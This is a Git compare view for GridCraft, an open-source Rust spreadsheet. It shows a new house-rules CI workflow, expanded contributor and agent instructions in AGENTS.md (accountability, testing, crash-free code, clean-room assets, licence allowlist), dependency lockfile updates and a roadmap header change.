mirror of
https://github.com/storytold/gridcraft.git
synced 2026-11-06 10:30:14 -06:00
Compare commits
112
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6a8eb4ff42 | ||
|
|
543497acff | ||
|
|
620a91904f | ||
|
|
ff35c6b89d | ||
|
|
21b64df0fe | ||
|
|
292b784f02 | ||
|
|
c402953828 | ||
|
|
0a58f94517 | ||
|
|
6ea9f538a7 | ||
|
|
4e43ad8868 | ||
|
|
e06b2a7ead | ||
|
|
bf6bee500a | ||
|
|
d628abb7b0 | ||
|
|
cb05971659 | ||
|
|
1fb191571b | ||
|
|
ede12f9da6 | ||
|
|
642980b724 | ||
|
|
73fad54671 | ||
|
|
919a6b58fe | ||
|
|
e8bdd0efd6 | ||
|
|
3162ac09f3 | ||
|
|
b9595ccdec | ||
|
|
632e4a1bc5 | ||
|
|
e5f6fa8197 | ||
|
|
f77ed98cdb | ||
|
|
22c5dfe0df | ||
|
|
cdd3a59dbc | ||
|
|
bebe7de877 | ||
|
|
4421bc6790 | ||
|
|
017c80572c | ||
|
|
a31178f519 | ||
|
|
184c0ec84d | ||
|
|
065f05dbec | ||
|
|
db05400e67 | ||
|
|
c0ea297615 | ||
|
|
74111e5a93 | ||
|
|
014f030a15 | ||
|
|
e12b462b90 | ||
|
|
fe062f57a6 | ||
|
|
94dd42ba31 | ||
|
|
89e141ca3e | ||
|
|
99b5063489 | ||
|
|
02df071b4c | ||
|
|
5725f7b44e | ||
|
|
00d79eb98a | ||
|
|
675d4b9a3c | ||
|
|
57ad523b83 | ||
|
|
7202d1cf7c | ||
|
|
c1249e3ad1 | ||
|
|
f18ec0407f | ||
|
|
5483c7bc47 | ||
|
|
2fa94f111f | ||
|
|
5cbc168441 | ||
|
|
6b93106575 | ||
|
|
112a9c78b9 | ||
|
|
d09694ff61 | ||
|
|
76c70c2b89 | ||
|
|
ccc2fb6076 | ||
|
|
d1f69878f6 | ||
|
|
8495cc99e1 | ||
|
|
be0882a148 | ||
|
|
36a44a35cb | ||
|
|
975d5407a1 | ||
|
|
a4faa9091e | ||
|
|
05851de46c | ||
|
|
af28f01bfd | ||
|
|
381a121339 | ||
|
|
21a27a76be | ||
|
|
099349d91d | ||
|
|
dcefd523eb | ||
|
|
082e379412 | ||
|
|
834fa94f85 | ||
|
|
63400c9afd | ||
|
|
18cb02cbd9 | ||
|
|
4219720e13 | ||
|
|
a6afa05309 | ||
|
|
d8703162be | ||
|
|
11ffe09439 | ||
|
|
40aa1e8b66 | ||
|
|
df98e9cef9 | ||
|
|
b874f58667 | ||
|
|
dd9a01e3b2 | ||
|
|
2b787b1912 | ||
|
|
10de76e6c7 | ||
|
|
dd97b29dec | ||
|
|
85c22dd27b | ||
|
|
e1fbee8ebc | ||
|
|
b8f04d7af9 | ||
|
|
14dee9155d | ||
|
|
0fb3ea7a68 | ||
|
|
cc68d71ac2 | ||
|
|
0e631e20da | ||
|
|
b0531aeb73 | ||
|
|
09a37a8f10 | ||
|
|
c7a11e9860 | ||
|
|
7042306478 | ||
|
|
295c57535c | ||
|
|
a0d991e903 | ||
|
|
548e5345ee | ||
|
|
f3fbaa5568 | ||
|
|
977c895378 | ||
|
|
4b805d64bc | ||
|
|
028ce2b417 | ||
|
|
de8f1854f1 | ||
|
|
2fce1a9b42 | ||
|
|
e7591de2ec | ||
|
|
9ac6b67e18 | ||
|
|
de0c5a0d96 | ||
|
|
40929d80c5 | ||
|
|
0b7deaa3d8 | ||
|
|
594557e000 | ||
|
|
79214fd287 |
@@ -0,0 +1,28 @@
|
||||
name: House rules
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
paths:
|
||||
- AGENTS.md
|
||||
- CLAUDE.md
|
||||
- .github/workflows/house-rules.yml
|
||||
pull_request:
|
||||
paths:
|
||||
- AGENTS.md
|
||||
- CLAUDE.md
|
||||
- .github/workflows/house-rules.yml
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: house-rules-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
house-rules:
|
||||
uses: storytold/craft-common-actions/.github/workflows/house-rules.yml@main
|
||||
with:
|
||||
rust: true
|
||||
@@ -42,3 +42,4 @@ jobs:
|
||||
AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }}
|
||||
AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }}
|
||||
AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }}
|
||||
LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}
|
||||
|
||||
@@ -1,12 +1,62 @@
|
||||
<!-- craft-house-rules:start core source=dde09ea31e2e457f5b4653a6e76f7cdf55944bdf sha256=540e6cea75d12d0710c3dca89658328e81e508ecef102446ca5bb95b7c0b92bb -->
|
||||
## House rules
|
||||
|
||||
These apply in every Craft repository. A later rule may be stricter, not weaker. The source is `standards/house-rules-core.md` in `storytold/craft-contrib`. Propose changes there, not in a copy.
|
||||
|
||||
1. **A person is accountable.** Whoever runs an agent answers for what it opens and for its review comments.
|
||||
2. **Check, then claim.** Before writing code, read the issue comments, search pull requests for `#N` and the keywords, and check recent commits on `main`. Comment on the issue first. Release a claim you will not finish.
|
||||
3. **Verify, don't guess.** Open a definition before using it. Confirm the cause in the code, even when someone names a location.
|
||||
4. **Keep fixes narrow and tested.** Fix what the issue describes, where the bug is. Add a test that fails without the fix.
|
||||
5. **Review the diff before opening a pull request.** Identifiers exist as used, the test fails without the fix, nothing unrelated changed, and the description is true.
|
||||
6. **Look for a better pull request.** If another fixes the same thing, close yours when it is better or equal, and say why.
|
||||
7. **Report only what ran.** Say what you tested and what you could not run. Without a local build or test, say so and rely on CI before marking ready.
|
||||
8. **`main` changes through a pull request.** Do not push to it. Branch protection enforces this. There is no exception.
|
||||
9. **Stop and ask only about** licensing outside the allowlist, publishing, releases, a new remote, secrets, spending money, destructive git, and anything else hard to undo. Otherwise keep working. `plan/` is a gitignored notebook, not rules. Without it, do not ask for it and do not stop.
|
||||
10. **Keep secrets and personal details out** of the repository, logs and requests.
|
||||
11. **CI stays shared.** Workflows call `storytold/craft-common-actions`. Do not change CI in a feature or fix pull request. If CI cannot cover a change, open an issue there.
|
||||
12. **Guards say why.** A check that looks removable says what it prevents. Read that before changing it.
|
||||
13. **Instructions must be readable by everyone.** No notes about one machine, and no links to files a reader cannot open. `craftrules` is retired. Do not link to it.
|
||||
14. **Keep pull requests moving.** Concurrent pull requests are fine; unanswered actionable feedback is not. Respond in 7 days, a reminder at 14, closure eligible at 30, from when an actionable request waits on the author. Suggestions and unconfirmed bot findings do not start the clock. A fix, explanation or agreed plan resets it; unrelated activity does not. Waiting on a reviewer or maintainer pauses it and does not count against the author. A maintainer decides closure; it is never automatic. Reuse search results, do not poll, and stop at a rate limit.
|
||||
15. **No agent attribution.** A pull request does not say an agent wrote it. A repository rule may not require that.
|
||||
<!-- craft-house-rules:end -->
|
||||
<!-- craft-house-rules:start rust source=dde09ea31e2e457f5b4653a6e76f7cdf55944bdf sha256=387e0ccb4b49e567f60951d7d6fff7305054c89f43ad812b9993dc7c38528013 -->
|
||||
## Rust Craft repositories
|
||||
|
||||
These apply to native Craft apps and to shared Rust libraries. Select them by repository type. A repository that merely contains some Rust does not take this block. Rules later in a repository's file may be stricter, but not weaker. The source is `standards/house-rules-rust.md` in [storytold/craft-contrib](https://github.com/storytold/craft-contrib).
|
||||
|
||||
1. **Never crash.** Non-test code does not panic and has no `unsafe`, except where the repository file names an exception. Return errors, treat input as hostile, and bound recursion and allocations. New production crate roots copy the `deny` attribute from an existing crate: `clippy::unwrap_used`, `clippy::expect_used`, `clippy::panic`, `clippy::unimplemented`, `clippy::todo`, `clippy::unreachable`. Every crash fix comes with a test that panicked before the fix.
|
||||
2. **Clean room.** Learn from observed behaviour and public specifications. Do not copy another product's code, assets, strings or artwork. Check a dependency's licence before adding it.
|
||||
3. **Assets and fonts.** Every asset is original or suitably licensed, and is recorded in `ATTRIBUTION.md` in the same change. Font files live in [storytold/craft-fonts](https://github.com/storytold/craft-fonts), not in the app repository.
|
||||
4. **Rust only for native Craft apps.** No handwritten JavaScript or TypeScript, and no Tauri, Electron or webview shell, in those apps. Shared tooling follows its documented technical scope and maintainer-approved exceptions. Craft PR Review's existing Tauri and TypeScript UI is one such exception. It does not relax this rule for native apps. Preserve any existing web build.
|
||||
5. **Time goes through `chrono`.** Do not hand-roll calendar conversion. For dates beyond what `chrono` can represent, follow [standards/time.md](https://github.com/storytold/craft-contrib/blob/main/standards/time.md).
|
||||
6. **Contributor credits.** Add or edit only your own person's entry in `contributors/people.toml`, and only after asking them. Never guess a name or hand-edit `contributors.json`.
|
||||
|
||||
## Licence allowlist
|
||||
|
||||
Dependencies and assets use SPDX identifiers. An expression is allowed when every identifier is in this list. A repository may name a shorter list. It may not add an identifier here by editing its own copy of these rules.
|
||||
|
||||
- `ISC`
|
||||
- `MIT`
|
||||
- `BSD-2-Clause`
|
||||
- `BSD-3-Clause`
|
||||
- `Apache-2.0`
|
||||
- `OFL-1.1`
|
||||
- `Ubuntu-font-1.0`
|
||||
- `Bitstream-Vera`
|
||||
- `CC0-1.0`
|
||||
- `CC-BY-4.0`
|
||||
- `CC-BY-SA-4.0`
|
||||
- `LicenseRef-Public-Domain`
|
||||
|
||||
`LicenseRef-Storyteller-Trademark` is not in this list. It covers Storyteller brand marks only, where a repository already says so.
|
||||
<!-- craft-house-rules:end -->
|
||||
|
||||
# GridCraft — instructions for agents
|
||||
|
||||
GridCraft is a clean-room, open-source, Rust-native spreadsheet targeting Microsoft Excel parity — and superiority (speed, openness, agent control). It runs natively on macOS, Windows, Linux and BSD, and on the web via WASM. Siblings with the same conventions: `../designcraft` (InDesign-class, the closest reference), `../photocraft` (Photoshop), `../vectorcraft` (Illustrator), `../pdfcraft` (Acrobat), `../filmcraft` (Premiere), `../lightcraft` (Lightroom), `../effectcraft` (After Effects).
|
||||
|
||||
## Start every session here
|
||||
1. Read `plan/STATUS.md` (current milestone, next task), then the task in `plan/execution-plan.md` and the relevant `plan/architecture.md` section. Behaviour reference: `plan/excel/*.md` (`observed-ui.md` holds measured observations of the running app).
|
||||
2. Follow the autonomous operation protocol (`plan/execution-plan.md` §7). Don't stop to ask unless §7 lists the decision as the user's.
|
||||
|
||||
`plan/` is gitignored (local only).
|
||||
Read [`ROADMAP.md`](ROADMAP.md) and [`docs/gaps.md`](docs/gaps.md). `plan/` is an optional gitignored notebook (status, execution notes, `plan/excel/*.md`). Do not ask for it and do not stop when it is absent. Screenshots of Microsoft software stay in that notebook and are never committed.
|
||||
|
||||
## Assets and iconography — absolute rule
|
||||
**No Microsoft, Adobe, Avid, Autodesk (or any other vendor's) iconography, images, artwork, fonts, templates, themes or sample files — ever.** This is the most important rule in this repository; breaking it is a serious failure.
|
||||
@@ -35,7 +85,6 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr
|
||||
- **Programmatic calls never open dialogs**: a command with empty params runs with defaults or returns an error; only menu-style invocation opens a dialog (`UiRequest::Dialog`).
|
||||
- **Layering** is enforced by `cargo xtask layers`: `core`/`numfmt` (L0) → `formula`/`functions` (L1) → `model`/`calc`/`xlsx` (L2) → `chart` (L3) → `engine` (L5) → `ui-egui`/`mcp` (L6) → `apps/*` (L7). Nothing below L6 depends on egui/eframe/winit/rfd. **The UI crate is swappable.**
|
||||
- **The UI is thin**: panels read engine state and act through `app.run(id, params)`. Colours come from `theme::Tokens`.
|
||||
- **Time goes through `chrono`** (workspace dependency). Never hand-roll UTC/calendar conversion (days-to-date algorithms, leap-year math). A crate owns only its output format string. The one exception is range extension: past the years chrono can represent, shift the date by whole 400-year Gregorian cycles (146,097 days, after which the calendar repeats), let chrono compute the month and day, and add the cycles back to the year (splitting seconds into hours, minutes and seconds is plain arithmetic).
|
||||
- **Rust only** (no handwritten JS/TS). **Never break wasm** (`cargo xtask wasm`).
|
||||
- **Quality gates** before every commit: `cargo xtask ci` (fmt, clippy -D warnings, tests, assets, layers, wasm). One task id per commit (`M2.1: borders gallery`).
|
||||
|
||||
@@ -44,8 +93,8 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr
|
||||
- Drive it: `gridcraft-cli send 7979 <method> '<json>'` (reads the token file the app printed on stderr), or JSON lines on `127.0.0.1:7979` whose first line is `{"id":0,"method":"auth","params":{"token":"…"}}` (token: `$XDG_RUNTIME_DIR/gridcraft/control-7979.token`, or your own `GRIDCRAFT_CONTROL_TOKEN`), e.g. `{"id":1,"method":"engine.execute","params":{"command":"cell.set","params":{"cell":"B2","input":"=SUM(A1:A9)"}}}` then `{"id":2,"method":"ui.screenshot","params":{"path":"/tmp/shot.png"}}`. Methods: `crates/ui-egui/src/control.rs`, docs: `docs/control-protocol.md`.
|
||||
- **Offscreen UI render** (no window, from a source checkout): `cargo run -p gridcraft-ui-egui --example snapshot -- --sample sales out.png`.
|
||||
- Headless: `gridcraft-cli eval '=SUM(1,2,3)'`, `gridcraft-cli run --in book.xlsx --cmd 'home.bold={"range":"A1:C1"}' --out book.xlsx`, `gridcraft-cli mcp`.
|
||||
- **For UI work, look at the result** (snapshot PNG) and compare with `plan/excel/observed-ui.md`.
|
||||
- Shell gotcha: `mv`/`cp` are aliased interactive here — use `/bin/mv -f` / `/bin/cp -f`. macOS has no `timeout`; use `perl -e 'alarm 60; exec @ARGV' cmd`.
|
||||
- **For UI work, look at the result** (snapshot PNG) and, when available, compare with `plan/excel/observed-ui.md`. Without that optional notebook, verify the intended behaviour against the task and committed documentation.
|
||||
- macOS has no `timeout`; use `perl -e 'alarm 60; exec @ARGV' cmd`.
|
||||
- Parallel agents: separate `CARGO_TARGET_DIR` per agent; edit only the crates you own; delete your target dir when done.
|
||||
|
||||
## Roadmap
|
||||
@@ -70,3 +119,5 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr
|
||||
- Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here.
|
||||
- Don't add or change CI in a feature or fix PR. If the existing workflows can't build or test a change, link an existing craft-common-actions issue or PR, or open a new issue, or a PR only for a small fix that is safe for every app and does not increase CI time.
|
||||
- Some workflow files here still run their own jobs. Don't add to them. Moving a job into craft-common-actions is its own task, never part of another PR, and the job stays here until a shared workflow runs it.
|
||||
|
||||
New workspace crates include `workspace = true` under `[lints]` in `Cargo.toml`. Production crate roots declare the crate-level lint attributes before modules; crate-level `//!` documentation may precede them.
|
||||
|
||||
@@ -1,56 +1 @@
|
||||
# GridCraft — instructions for agents
|
||||
|
||||
GridCraft is a clean-room, open-source, Rust-native spreadsheet targeting Microsoft Excel parity — and superiority (speed, openness, agent control). It runs natively on macOS, Windows, Linux and BSD, and on the web via WASM. Siblings with the same conventions: `../designcraft` (InDesign-class, the closest reference), `../photocraft` (Photoshop), `../vectorcraft` (Illustrator), `../pdfcraft` (Acrobat), `../filmcraft` (Premiere), `../lightcraft` (Lightroom), `../effectcraft` (After Effects).
|
||||
|
||||
## Start every session here
|
||||
1. Read `plan/STATUS.md` (current milestone, next task), then the task in `plan/execution-plan.md` and the relevant `plan/architecture.md` section. Behaviour reference: `plan/excel/*.md` (`observed-ui.md` holds measured observations of the running app).
|
||||
2. Follow the autonomous operation protocol (`plan/execution-plan.md` §7). Don't stop to ask unless §7 lists the decision as the user's.
|
||||
|
||||
`plan/` is gitignored (local only).
|
||||
|
||||
## Assets and iconography — absolute rule
|
||||
**No Microsoft, Adobe, Avid, Autodesk (or any other vendor's) iconography, images, artwork, fonts, templates, themes or sample files — ever.** This is the most important rule in this repository; breaking it is a serious failure.
|
||||
- Every asset in the repo is original work by GridCraft contributors, or public domain / CC0, or open source / Creative Commons that allows redistribution (or licensed open source by the contributor who created it).
|
||||
- Every asset file has a row in [`ATTRIBUTION.md`](ATTRIBUTION.md) (author, source, licence). `cargo xtask assets` enforces it. Adding an asset without a row is a bug.
|
||||
- Prefer art generated in code: the UI icon set (`crates/ui-egui/src/icons.rs`), table and cell style palettes, themes and sample workbooks are drawn/defined in code and original.
|
||||
- Never copy Office's icons, ribbon artwork, theme XML, table-style definitions, templates, clip art or wording beyond feature names. Excel feature *names* (menu labels, function names) are fine.
|
||||
- Screenshots of Microsoft software are never committed (they live only in `plan/excel/screenshots/`).
|
||||
- The ArtCraft brand files in `docs/brand/` are ArtCraft trademarks under `docs/brand/LICENSE-brand.txt`, the one exception.
|
||||
|
||||
## Never crash
|
||||
People trust GridCraft with their numbers; a crash loses their work. **This outranks feature work.**
|
||||
- **No panics in non-test code:** no `unwrap()`, `expect()`, `panic!`, `unreachable!`, `todo!`, `unimplemented!`; no `unsafe` (`unsafe_code = "forbid"`).
|
||||
- **Errors are `Result<T, E>`** through the crate's error type and `?`.
|
||||
- **Input-derived numbers are hostile** (files, formulas, commands, MCP/control params): `get()` instead of indexing, checked/saturating arithmetic, cap input-sized allocations (huge ranges, `REPT`, `SEQUENCE`, whole-column references).
|
||||
- **Bound recursion** (formula nesting, dependency chains, names referring to names).
|
||||
- **Last-resort guard:** `Session::execute` catches escaped panics and restores the workbook. It's a safety net, not a licence.
|
||||
- **Prove it:** every crash fix lands with a regression test (`tests::every_command_survives_empty_params` fuzzes every command; `crates/engine/tests/it/command_sequence_fuzz.rs` fuzzes random command sequences against undo/redo, XLSX round-trip and full-recalc invariants; soak it with `GRIDCRAFT_FUZZ_SEEDS`/`GRIDCRAFT_FUZZ_STEPS`, replay with `GRIDCRAFT_FUZZ_SEED`).
|
||||
- Production crate roots carry `#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)]`; every new workspace crate must also include `[lints] workspace = true` in `Cargo.toml` to inherit `[workspace.lints]`.
|
||||
|
||||
## Non-negotiables
|
||||
- **Clean-room.** Microsoft Excel is installed on the dev machine and may be *observed* black-box: run it, use its UI with synthetic workbooks, take screenshots (by window id) stored only under `plan/excel/screenshots/`. Never read, disassemble or copy anything inside the Office bundle, never commit files produced by Excel, never copy GPL/AGPL/LGPL code (LibreOffice, Gnumeric…). Function behaviour comes from public documentation and observation.
|
||||
- **Fonts live in [`storytold/craft-fonts`](https://github.com/storytold/craft-fonts)**, never in this repo. It is an optional build input (`CRAFT_FONTS_DIR`); without it the app uses system fonts and egui's defaults.
|
||||
- **Test corpora** (real Excel-authored files) live in a separate corpus repo, fetched pinned and sha256-verified. Never commit large binary fixtures; build test workbooks in code.
|
||||
- **Everything is a command.** User-visible behaviour = a command in `crates/engine/src/cmd/*` (id, label, ribbon path, shortcut, params doc, `enabled`, `run`) + tests. Ids follow Excel's ribbon (`home.bold`, `insert.chart`, `data.sortAscending`) plus primitives (`cell.set`, `selection.set`, `range.setValues`). UI-only commands live in `crates/ui-egui`. The control channel, CLI and MCP reach all of them.
|
||||
- **Programmatic calls never open dialogs**: a command with empty params runs with defaults or returns an error; only menu-style invocation opens a dialog (`UiRequest::Dialog`).
|
||||
- **Layering** is enforced by `cargo xtask layers`: `core`/`numfmt` (L0) → `formula`/`functions` (L1) → `model`/`calc`/`xlsx` (L2) → `chart` (L3) → `engine` (L5) → `ui-egui`/`mcp` (L6) → `apps/*` (L7). Nothing below L6 depends on egui/eframe/winit/rfd. **The UI crate is swappable.**
|
||||
- **The UI is thin**: panels read engine state and act through `app.run(id, params)`. Colours come from `theme::Tokens`.
|
||||
- **Rust only** (no handwritten JS/TS). **Never break wasm** (`cargo xtask wasm`).
|
||||
- **Quality gates** before every commit: `cargo xtask ci` (fmt, clippy -D warnings, tests, assets, layers, wasm). One task id per commit (`M2.1: borders gallery`).
|
||||
|
||||
## Running and looking at the app
|
||||
- `cargo run --release -p gridcraft -- --sample sales --control 7979` (sample workbook + control channel).
|
||||
- Drive it: `gridcraft-cli send 7979 <method> '<json>'` (reads the token file the app printed on stderr), or JSON lines on `127.0.0.1:7979` whose first line is `{"id":0,"method":"auth","params":{"token":"…"}}` (token: `$XDG_RUNTIME_DIR/gridcraft/control-7979.token`, or your own `GRIDCRAFT_CONTROL_TOKEN`), e.g. `{"id":1,"method":"engine.execute","params":{"command":"cell.set","params":{"cell":"B2","input":"=SUM(A1:A9)"}}}` then `{"id":2,"method":"ui.screenshot","params":{"path":"/tmp/shot.png"}}`. Methods: `crates/ui-egui/src/control.rs`, docs: `docs/control-protocol.md`.
|
||||
- **Offscreen UI render** (no window, from a source checkout): `cargo run -p gridcraft-ui-egui --example snapshot -- --sample sales out.png`.
|
||||
- Headless: `gridcraft-cli eval '=SUM(1,2,3)'`, `gridcraft-cli run --in book.xlsx --cmd 'home.bold={"range":"A1:C1"}' --out book.xlsx`, `gridcraft-cli mcp`.
|
||||
- **For UI work, look at the result** (snapshot PNG) and compare with `plan/excel/observed-ui.md`.
|
||||
- Shell gotcha: `mv`/`cp` are aliased interactive here — use `/bin/mv -f` / `/bin/cp -f`. macOS has no `timeout`; use `perl -e 'alarm 60; exec @ARGV' cmd`.
|
||||
- Parallel agents: separate `CARGO_TARGET_DIR` per agent; edit only the crates you own; delete your target dir when done.
|
||||
|
||||
## Roadmap
|
||||
`ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`.
|
||||
|
||||
## CI workflows
|
||||
- Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here.
|
||||
- Don't add or change CI in a feature or fix PR. If the existing workflows can't build or test a change, link an existing craft-common-actions issue or PR, or open a new issue, or a PR only for a small fix that is safe for every app and does not increase CI time.
|
||||
- Some workflow files here still run their own jobs. Don't add to them. Moving a job into craft-common-actions is its own task, never part of another PR, and the job stays here until a shared workflow runs it.
|
||||
@AGENTS.md
|
||||
|
||||
Generated
+52
-13
@@ -220,7 +220,7 @@ dependencies = [
|
||||
"objc2-foundation 0.3.2",
|
||||
"parking_lot",
|
||||
"percent-encoding",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
"wl-clipboard-rs",
|
||||
"x11rb",
|
||||
]
|
||||
@@ -995,6 +995,15 @@ dependencies = [
|
||||
"zip 9.1.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "craft-web-host"
|
||||
version = "0.1.0"
|
||||
source = "git+https://github.com/storytold/craft-libs?rev=2e2312ddaf21bc3d85cd3395d0955c7d239306f6#2e2312ddaf21bc3d85cd3395d0955c7d239306f6"
|
||||
dependencies = [
|
||||
"wasm-bindgen",
|
||||
"web-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "craft-window"
|
||||
version = "0.1.0"
|
||||
@@ -1346,6 +1355,19 @@ dependencies = [
|
||||
"winit",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "egui_extras"
|
||||
version = "0.37.0"
|
||||
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
|
||||
dependencies = [
|
||||
"ahash",
|
||||
"egui",
|
||||
"enum-map",
|
||||
"itertools",
|
||||
"log",
|
||||
"profiling",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "egui_glow"
|
||||
version = "0.37.0"
|
||||
@@ -1413,6 +1435,26 @@ version = "1.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099"
|
||||
|
||||
[[package]]
|
||||
name = "enum-map"
|
||||
version = "3.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d4532960034c15ba2f55e9eee631040ecc473c32e6c4b200828c759840f13a06"
|
||||
dependencies = [
|
||||
"enum-map-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "enum-map-derive"
|
||||
version = "1.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7127272f64b3e098f7d81f350d672081b879bff896d219c42370dc858b1af9ff"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 3.0.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "enumflags2"
|
||||
version = "0.7.12"
|
||||
@@ -1478,7 +1520,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -2131,6 +2173,7 @@ dependencies = [
|
||||
"craft-update",
|
||||
"craft-window",
|
||||
"egui",
|
||||
"egui_extras",
|
||||
"egui_kittest",
|
||||
"epaint_default_fonts",
|
||||
"gridcraft-chart",
|
||||
@@ -2152,6 +2195,7 @@ dependencies = [
|
||||
name = "gridcraft-web"
|
||||
version = "0.16.0"
|
||||
dependencies = [
|
||||
"craft-web-host",
|
||||
"eframe",
|
||||
"egui",
|
||||
"gridcraft-engine",
|
||||
@@ -3507,7 +3551,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3963,7 +4007,7 @@ dependencies = [
|
||||
"once_cell",
|
||||
"socket2",
|
||||
"tracing",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -4348,7 +4392,7 @@ dependencies = [
|
||||
"errno",
|
||||
"libc",
|
||||
"linux-raw-sys 0.12.1",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -4407,7 +4451,7 @@ dependencies = [
|
||||
"security-framework",
|
||||
"security-framework-sys",
|
||||
"webpki-root-certs",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -5158,7 +5202,7 @@ dependencies = [
|
||||
"getrandom 0.4.3",
|
||||
"once_cell",
|
||||
"rustix 1.1.5",
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -6151,7 +6195,7 @@ version = "0.1.11"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
|
||||
dependencies = [
|
||||
"windows-sys 0.59.0",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -6967,11 +7011,6 @@ name = "egui_demo_lib"
|
||||
version = "0.37.0"
|
||||
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
|
||||
|
||||
[[patch.unused]]
|
||||
name = "egui_extras"
|
||||
version = "0.37.0"
|
||||
source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a"
|
||||
|
||||
[[patch.unused]]
|
||||
name = "egui_inspection"
|
||||
version = "0.37.0"
|
||||
|
||||
+6
-2
@@ -2,7 +2,7 @@
|
||||
|
||||
**Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away
|
||||
|
||||
> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)
|
||||
